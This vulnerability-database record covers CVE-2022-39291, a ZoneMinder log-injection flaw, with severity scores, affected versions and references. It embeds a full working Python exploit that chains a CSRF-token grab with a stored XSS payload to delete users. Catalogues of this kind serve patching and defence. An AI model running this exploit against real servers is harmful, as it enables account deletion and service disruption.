ID

VAR-202210-0071


CVE

CVE-2022-39291


TITLE

ZoneMinder  Input verification vulnerability in

Trust: 0.8

sources: JVNDB: JVNDB-2022-018647

DESCRIPTION

ZoneMinder is a free, open source Closed-circuit television software application. Affected versions of zoneminder are subject to a vulnerability which allows users with "View" system permissions to inject new data into the logs stored by Zoneminder. This was observed through an HTTP POST request containing log information to the "/zm/index.php" endpoint. Submission is not rate controlled and could affect database performance and/or consume all storage resources. Users are advised to upgrade. There are no known workarounds for this issue. ZoneMinder There is an input validation vulnerability in.Information is tampered with and service operation is interrupted (DoS) It may be in a state. # Exploit Title: Zoneminder v1.36.26 - Log Injection -> CSRF Bypass -> Stored Cross-Site Scripting (XSS) # Date: 10/01/2022 # Exploit Author: Trenches of IT # Vendor Homepage: https://github.com/ZoneMinder/zoneminder # Version: v1.36.26 # Tested on: Linux/Windows # CVE: CVE-2022-39285, CVE-2022-39290, CVE-2022-39291 # Writeup: https://www.trenchesofit.com/2022/09/30/zoneminder-web-app-testing/ # # Proof of Concept: # 1 - The PoC injects a XSS payload with the CSRF bypass into logs. (This action will repeat every second until manually stopped) # 2 - Admin user logs navigates to http://<target>/zm/index.php?view=log # 3 - XSS executes delete function on target UID (user). import requests import re import time import argparse import sys def getOptions(args=sys.argv[1:]): parser = argparse.ArgumentParser(description="Trenches of IT Zoneminder Exploit PoC", epilog="Example: poc.py -i 1.2.3.4 -p 80 -u lowpriv -p lowpriv -d 1") parser.add_argument("-i", "--ip", help="Provide the IP or hostname of the target zoneminder server. (Example: -i 1.2.3.4", required=True) parser.add_argument("-p", "--port", help="Provide the port of the target zoneminder server. (Example: -p 80", required=True) parser.add_argument("-zU", "--username", help="Provide the low privileged username for the target zoneminder server. (Example: -zU lowpriv", required=True) parser.add_argument("-zP", "--password", help="Provide the low privileged password for the target zoneminder server. (Example: -zP lowpriv", required=True) parser.add_argument("-d", "--deleteUser", help="Provide the target user UID to delete from the target zoneminder server. (Example: -d 7", required=True) options = parser.parse_args(args) return options options = getOptions(sys.argv[1:]) payload = "http%3A%2F%2F" + options.ip + "%2Fzm%2F</td></tr><script src='/zm/index.php?view=options&tab=users&action=delete&markUids[]=" + options.deleteUser + "&deleteBtn=Delete'</script>" #Request to login and get the response headers loginUrl = "http://" + options.ip + ":" + options.port + "/zm/index.php?action=login&view=login&username="+options.username+"&password="+options.password loginCookies = {"zmSkin": "classic", "zmCSS": "base", "zmLogsTable.bs.table.pageNumber": "1", "zmEventsTable.bs.table.columns": "%5B%22Id%22%2C%22Name%22%2C%22Monitor%22%2C%22Cause%22%2C%22StartDateTime%22%2C%22EndDateTime%22%2C%22Length%22%2C%22Frames%22%2C%22AlarmFrames%22%2C%22TotScore%22%2C%22AvgScore%22%2C%22MaxScore%22%2C%22Storage%22%2C%22DiskSpace%22%2C%22Thumbnail%22%5D", "zmEventsTable.bs.table.searchText": "", "zmEventsTable.bs.table.pageNumber": "1", "zmBandwidth": "high", "zmHeaderFlip": "up", "ZMSESSID": "f1neru6bq6bfddl7snpjqo6ss2"} loginHeaders = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://"+options.ip, "Connection": "close", "Referer": "http://"+options.ip+"/zm/index.php?view=login", "Upgrade-Insecure-Requests": "1"} response = requests.post(loginUrl, headers=loginHeaders, cookies=loginCookies) zmHeaders = response.headers try: zoneminderSession = re.findall(r'ZMSESSID\=\w+\;', str(zmHeaders)) finalSession = zoneminderSession[-1].replace('ZMSESSID=', '').strip(';') except: print("[ERROR] Ensure the provided username and password is correct.") sys.exit(1) print("Collected the low privilege user session token: "+finalSession) #Request using response headers to obtain CSRF value csrfUrl = "http://"+options.ip+":"+options.port+"/zm/index.php?view=filter" csrfCookies = {"zmSkin": "classic", "zmCSS": "base", "zmLogsTable.bs.table.pageNumber": "1", "zmEventsTable.bs.table.columns": "%5B%22Id%22%2C%22Name%22%2C%22Monitor%22%2C%22Cause%22%2C%22StartDateTime%22%2C%22EndDateTime%22%2C%22Length%22%2C%22Frames%22%2C%22AlarmFrames%22%2C%22TotScore%22%2C%22AvgScore%22%2C%22MaxScore%22%2C%22Storage%22%2C%22DiskSpace%22%2C%22Thumbnail%22%5D", "zmEventsTable.bs.table.searchText": "", "zmEventsTable.bs.table.pageNumber": "1", "zmBandwidth": "high", "zmHeaderFlip": "up", "ZMSESSID": '"' + finalSession + '"'} csrfHeaders = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Referer": "http://"+options.ip+"/zm/index.php?view=montagereview&fit=1&minTime=2022-09-30T20:52:58&maxTime=2022-09-30T21:22:58&current=2022-09-30%2021:07:58&displayinterval=1000&live=0&scale=1&speed=1", "Upgrade-Insecure-Requests": "1"} response = requests.get(csrfUrl, headers=csrfHeaders, cookies=csrfCookies) zmBody = response.text extractedCsrfKey = re.findall(r'csrfMagicToken\s\=\s\"key\:\w+\,\d+', str(zmBody)) finalCsrfKey = extractedCsrfKey[0].replace('csrfMagicToken = "', '') print("Collected the CSRF key for the log injection request: "+finalCsrfKey) print("Navigate here with an admin user: http://"+options.ip+"/zm/index.php?view=log") while True: #XSS Request xssUrl = "http://"+options.ip+"/zm/index.php" xssCookies = {"zmSkin": "classic", "zmCSS": "base", "zmLogsTable.bs.table.pageNumber": "1", "zmEventsTable.bs.table.columns": "%5B%22Id%22%2C%22Name%22%2C%22Monitor%22%2C%22Cause%22%2C%22StartDateTime%22%2C%22EndDateTime%22%2C%22Length%22%2C%22Frames%22%2C%22AlarmFrames%22%2C%22TotScore%22%2C%22AvgScore%22%2C%22MaxScore%22%2C%22Storage%22%2C%22DiskSpace%22%2C%22Thumbnail%22%5D", "zmEventsTable.bs.table.searchText": "", "zmEventsTable.bs.table.pageNumber": "1", "zmBandwidth": "high", "zmHeaderFlip": "up", "ZMSESSID": finalSession} xssHeaders = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0", "Accept": "application/json, text/javascript, */*; q=0.01", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest", "Origin": "http://"+options.ip, "Connection": "close", "Referer": "http://"+options.ip+"/zm/index.php?view=filter"} xssData = {"__csrf_magic": finalCsrfKey , "view": "request", "request": "log", "task": "create", "level": "ERR", "message": "Trenches%20of%20IT%20PoC", "browser[name]": "Firefox", "browser[version]": "91.0", "browser[platform]": "UNIX", "file": payload, "line": "105"} response = requests.post(xssUrl, headers=xssHeaders, cookies=xssCookies, data=xssData) print("Injecting payload: " + response.text) time.sleep(1)

Trust: 1.71

sources: NVD: CVE-2022-39291 // JVNDB: JVNDB-2022-018647 // PACKETSTORM: 171498

IOT TAXONOMY

category:['home & office device']sub_category:TV

Trust: 0.1

sources: OTHER: None

AFFECTED PRODUCTS

vendor:zonemindermodel:zoneminderscope:ltversion:1.36.27

Trust: 1.0

vendor:zonemindermodel:zoneminderscope:ltversion:1.37.24

Trust: 1.0

vendor:zonemindermodel:zoneminderscope:gtversion:1.37.0

Trust: 1.0

vendor:zonemindermodel:zoneminderscope:eqversion: -

Trust: 0.8

vendor:zonemindermodel:zoneminderscope:eqversion:1.37.0 greater than 1.37.24

Trust: 0.8

vendor:zonemindermodel:zoneminderscope: - version: -

Trust: 0.8

vendor:zonemindermodel:zoneminderscope:eqversion:1.36.27

Trust: 0.8

sources: JVNDB: JVNDB-2022-018647 // NVD: CVE-2022-39291

CVSS

SEVERITY

CVSSV2

CVSSV3

nvd@nist.gov: CVE-2022-39291
value: MEDIUM

Trust: 1.0

security-advisories@github.com: CVE-2022-39291
value: MEDIUM

Trust: 1.0

NVD: CVE-2022-39291
value: MEDIUM

Trust: 0.8

CNNVD: CNNVD-202210-329
value: MEDIUM

Trust: 0.6

nvd@nist.gov: CVE-2022-39291
baseSeverity: MEDIUM
baseScore: 5.4
vectorString: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
attackVector: NETWORK
attackComplexity: LOW
privilegesRequired: LOW
userInteraction: NONE
scope: UNCHANGED
confidentialityImpact: NONE
integrityImpact: LOW
availabilityImpact: LOW
exploitabilityScore: 2.8
impactScore: 2.5
version: 3.1

Trust: 2.0

NVD: CVE-2022-39291
baseSeverity: MEDIUM
baseScore: 5.4
vectorString: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
attackVector: NETWORK
attackComplexity: LOW
privilegesRequired: LOW
userInteraction: NONE
scope: UNCHANGED
confidentialityImpact: NONE
integrityImpact: LOW
availabilityImpact: LOW
exploitabilityScore: NONE
impactScore: NONE
version: 3.0

Trust: 0.8

sources: JVNDB: JVNDB-2022-018647 // CNNVD: CNNVD-202210-329 // NVD: CVE-2022-39291 // NVD: CVE-2022-39291

PROBLEMTYPE DATA

problemtype:CWE-20

Trust: 1.0

problemtype:Inappropriate input confirmation (CWE-20) [ others ]

Trust: 0.8

sources: JVNDB: JVNDB-2022-018647 // NVD: CVE-2022-39291

THREAT TYPE

remote

Trust: 0.6

sources: CNNVD: CNNVD-202210-329

TYPE

input validation error

Trust: 0.6

sources: CNNVD: CNNVD-202210-329

PATCH

title:ZoneMinder Enter the fix for the verification error vulnerabilityurl:http://123.124.177.30/web/xxk/bdxqById.tag?id=209968

Trust: 0.6

sources: CNNVD: CNNVD-202210-329

EXTERNAL IDS

db:NVDid:CVE-2022-39291

Trust: 3.4

db:PACKETSTORMid:171498

Trust: 2.5

db:JVNDBid:JVNDB-2022-018647

Trust: 0.8

db:EXPLOIT-DBid:51071

Trust: 0.6

db:CNNVDid:CNNVD-202210-329

Trust: 0.6

db:OTHERid:NONE

Trust: 0.1

sources: OTHER: None // JVNDB: JVNDB-2022-018647 // PACKETSTORM: 171498 // CNNVD: CNNVD-202210-329 // NVD: CVE-2022-39291

REFERENCES

url:http://packetstormsecurity.com/files/171498/zoneminder-log-injection-xss-cross-site-request-forgery.html

Trust: 2.4

url:https://github.com/zoneminder/zoneminder/commit/34ffd92bf123070cab6c83ad4cfe6297dd0ed0b4

Trust: 2.4

url:https://github.com/zoneminder/zoneminder/commit/73d9f2482cdcb238506388798d3cf92546f9e40c

Trust: 2.4

url:https://github.com/zoneminder/zoneminder/commit/cb3fc5907da21a5111ae54128a5d0b49ae755e9b

Trust: 2.4

url:https://github.com/zoneminder/zoneminder/commit/de2866f9574a2bf2690276fad53c91d607825408

Trust: 2.4

url:https://github.com/zoneminder/zoneminder/security/advisories/ghsa-cfcx-v52x-jh74

Trust: 2.4

url:https://nvd.nist.gov/vuln/detail/cve-2022-39291

Trust: 1.5

url:https://www.exploit-db.com/exploits/51071

Trust: 0.6

url:https://cxsecurity.com/cveshow/cve-2022-39291/

Trust: 0.6

url:https://ieeexplore.ieee.org/abstract/document/10769424

Trust: 0.1

url:http://"+options.ip+"/zm/index.php?view=log")

Trust: 0.1

url:http://"+options.ip+"/zm/index.php"

Trust: 0.1

url:http://"+options.ip+"/zm/index.php?view=montagereview&fit=1&mintime=2022-09-30t20:52:58&maxtime=2022-09-30t21:22:58&current=2022-09-30%2021:07:58&displayinterval=1000&live=0&scale=1&speed=1",

Trust: 0.1

url:https://www.trenchesofit.com/2022/09/30/zoneminder-web-app-testing/

Trust: 0.1

url:https://nvd.nist.gov/vuln/detail/cve-2022-39285

Trust: 0.1

url:http://"+options.ip+"/zm/index.php?view=login",

Trust: 0.1

url:https://nvd.nist.gov/vuln/detail/cve-2022-39290

Trust: 0.1

url:https://github.com/zoneminder/zoneminder

Trust: 0.1

url:http://"

Trust: 0.1

url:http://"+options.ip+"/zm/index.php?view=filter"}

Trust: 0.1

url:http://"+options.ip+":"+options.port+"/zm/index.php?view=filter"

Trust: 0.1

url:http://"+options.ip,

Trust: 0.1

url:http://<target>/zm/index.php?view=log

Trust: 0.1

sources: OTHER: None // JVNDB: JVNDB-2022-018647 // PACKETSTORM: 171498 // CNNVD: CNNVD-202210-329 // NVD: CVE-2022-39291

CREDITS

Trenches Of IT

Trust: 0.1

sources: PACKETSTORM: 171498

SOURCES

db:OTHERid: -
db:JVNDBid:JVNDB-2022-018647
db:PACKETSTORMid:171498
db:CNNVDid:CNNVD-202210-329
db:NVDid:CVE-2022-39291

LAST UPDATE DATE

2025-01-30T20:08:46.417000+00:00


SOURCES UPDATE DATE

db:JVNDBid:JVNDB-2022-018647date:2023-10-20T08:27:00
db:CNNVDid:CNNVD-202210-329date:2023-03-28T00:00:00
db:NVDid:CVE-2022-39291date:2023-03-27T18:15:11.797

SOURCES RELEASE DATE

db:JVNDBid:JVNDB-2022-018647date:2023-10-20T00:00:00
db:PACKETSTORMid:171498date:2023-03-27T14:54:04
db:CNNVDid:CNNVD-202210-329date:2022-10-07T00:00:00
db:NVDid:CVE-2022-39291date:2022-10-07T21:15:11.770